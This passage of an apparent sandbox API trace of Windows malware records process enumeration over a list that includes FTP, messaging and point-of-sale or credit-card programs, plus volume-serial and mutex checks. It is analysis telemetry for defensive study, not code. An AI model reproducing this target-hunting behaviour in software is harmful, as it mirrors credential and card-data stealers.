dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.291] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.292] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.292] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.293] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.293] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.294] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0104.294] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.295] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0104.295] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0104.296] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.296] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.300] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0104.301] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0104.302] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0104.302] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0104.303] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0104.304] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0104.304] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0104.305] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0104.305] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0104.306] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0104.306] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0104.307] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0104.307] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0104.308] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0104.308] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0104.309] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0104.309] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0104.310] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0104.310] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0104.311] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0104.311] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0104.312] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0104.312] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0104.919] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0104.923] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0104.928] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0104.934] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0104.936] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0104.945] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0104.960] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0104.967] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0104.972] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0104.973] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0104.974] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0104.975] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0104.976] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0104.977] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0104.978] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0104.979] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0104.980] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0104.981] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0104.982] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0104.982] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0104.983] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.988] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.989] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0104.990] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.991] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0104.991] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0104.992] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0104.993] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.994] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.994] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0104.995] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0104.996] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0104.997] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.998] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.998] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0104.999] Process32NextW (hSnapshot=0x294, lppe=0x2d3f6bc) Thread: id = 13 os_tid = 0x300 [0074.077] GetVersion () returned 0x23f00206 [0074.077] GetCurrentProcess () returned 0xffffffff [0074.077] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2e7f94c | out: TokenHandle=0x2e7f94c*=0x2a4) returned 1 [0074.077] GetTokenInformation (in: TokenHandle=0x2a4, TokenInformationClass=0x14, TokenInformation=0x2e7f944, TokenInformationLength=0x4, ReturnLength=0x2e7f948 | out: TokenInformation=0x2e7f944, ReturnLength=0x2e7f948) returned 1 [0074.078] CloseHandle (hObject=0x2a4) returned 1 [0074.078] GetProcessHeap () returned 0x11a0000 [0074.078] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0198 [0074.078] GetProcessHeap () returned 0x11a0000 [0074.078] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0080 [0074.078] GetProcessHeap () returned 0x11a0000 [0074.078] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bfe50 [0074.078] GetProcessHeap () returned 0x11a0000 [0074.078] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0074.078] GetProcessHeap () returned 0x11a0000 [0074.078] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.078] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0080, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0074.078] GetProcessHeap () returned 0x11a0000 [0074.078] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe50 | out: hHeap=0x11a0000) returned 1 [0074.078] GetProcessHeap () returned 0x11a0000 [0074.078] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0198 | out: hHeap=0x11a0000) returned 1 [0074.078] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0074.078] GetProcessHeap () returned 0x11a0000 [0074.078] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0080 | out: hHeap=0x11a0000) returned 1 [0074.078] GetProcessHeap () returned 0x11a0000 [0074.078] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b22a0 [0074.078] GetProcessHeap () returned 0x11a0000 [0074.079] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2330 [0074.079] GetProcessHeap () returned 0x11a0000 [0074.079] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2330, Size=0x72) returned 0x11bf8f8 [0074.079] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x2a4 [0074.079] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0x0) returned 0x102 [0074.079] CloseHandle (hObject=0x2a4) returned 1 [0074.079] GetProcessHeap () returned 0x11a0000 [0074.079] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b22a0 | out: hHeap=0x11a0000) returned 1 [0074.079] GetProcessHeap () returned 0x11a0000 [0074.079] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf8f8 | out: hHeap=0x11a0000) returned 1 [0074.079] Sleep (dwMilliseconds=0x3e8) [0075.307] GetProcessHeap () returned 0x11a0000 [0075.307] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bfe78 [0075.307] GetProcessHeap () returned 0x11a0000 [0075.307] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0288 [0075.307] GetProcessHeap () returned 0x11a0000 [0075.307] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c0120 [0075.307] GetProcessHeap () returned 0x11a0000 [0075.307] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 